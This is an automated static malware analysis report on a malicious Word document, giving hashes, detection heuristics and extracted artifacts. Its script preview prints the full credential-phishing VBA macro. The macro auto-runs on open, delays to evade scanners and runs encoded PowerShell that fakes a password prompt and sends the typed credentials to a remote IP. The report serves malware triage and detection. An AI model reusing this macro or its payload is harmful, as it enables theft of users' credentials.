Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f60b4dee5934d4dd…

MALICIOUS

Office (OOXML)

183.1 KB Created: 2021-03-07 10:51:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-04-01
MD5: 8e2cd3dd296393b9f3f8ac2b482d9e10 SHA-1: 064dd7f050da3b9d5403e4f7472f9b4878177858 SHA-256: f60b4dee5934d4dd312c24fa158984587fba75cb2937c375307c9c66fa325f61
418 Risk Score

Heuristics 11

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        With CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        cmd = "powershell.exe -exec bypass -enc JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBvAHIAZAAgAEUAbgBjAHIAeQBwAHQAZQBkACAARABvAGMAdQBtAGUAbgB0ACcALAAnAFQAaABpAHMAIABkAG8A" + _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2216 bytes
SHA-256: ff16e9e5e016f5ab3fcdbb1183cb0eedf8cce5c74c09dd0a2737055d22bfd687
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub Document_Open()
    Creds
End Sub
Sub AutoOpen()
    Creds
End Sub


Sub Creds()

    Dim t1 As Date
    t1 = Now

    ' wait for two seconds
    Wait (2)

    Dim t2 As Date
    t2 = Now

    ' attempt to fool heuristic scanning
    If t2 <= DateAdd("s", 10, t1) Then
        Exit Sub
    End If
    
    ' ask the user for the password
    Dim cmd As String
    cmd = "powershell.exe -exec bypass -enc JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBvAHIAZAAgAEUAbgBjAHIAeQBwAHQAZQBkACAARABvAGMAdQBtAGUAbgB0ACcALAAnAFQAaABpAHMAIABkAG8A" + _
    "YwB1AG0AZQBuAHQAIAB3AGEAcwAgAGUAbgBjAHIAeQBwAHQAZQBkACAAYgBlAGYAbwByAGUAIABpAHQAIAB3AGEAcwAgAGUAbQBhAGkAbABlAGQAIAB0AG8AIAB5AG8AdQAuACAASQBuACAAbwByAGQAZQByACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAbQBlAHMAcwBhAGcAZQAgAHkAbwB1ACAAbQB1AHMAdAAgAGUAbgB0AGUAcgAgA" + _
    "HkAbwB1AHIAIABlAG0AYQBpAGwAIABhAGQAZAByAGUAcwBzACAAYQBuAGQAIABwAGEAcwBzAHcAbwByAGQALgAnACwADQAKACcAJwAsAA0ACgBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBVAHMAZQByAEQAbwBtAGEAaQBuAE4AYQBtAGUAKQA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADIAOAAvAD8AdQBzAGUAcgBuAGEAbQBlAD0AJAAoACQAYwByAGUAZAAuAGcAZQB0AG4AZQB0AHcAbwByAGsAYwByAGUAZABlAG4AdABpAGEAbAAoACkALgB1AHMAZQByAG4AYQBtAGUAKQAmAHAAYQBzAHMAdwBvAHIAZAA9ACQAKAAkAGMAcgBlAGQALgBnAGUAdABuAGUAdAB3AG" + _
    "8AcgBrAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAApAC4AcABhAHMAcwB3AG8AcgBkACkAIgA7AA0ACgA="

    With CreateObject("WScript.Shell")
        .Run cmd, 0, True
    End With
    
    ' give the user the fake message
    MsgBox "Failed to decrypt the document, please contact Energus.", vbOKOnly, "Failed to Decyrpt"

End Sub


Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: b2f50a444a314bf0f61609ad8732c8f9b3a5c0aba36be8fdd1b2af3da81ea875
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 3 long base64-like blob(s).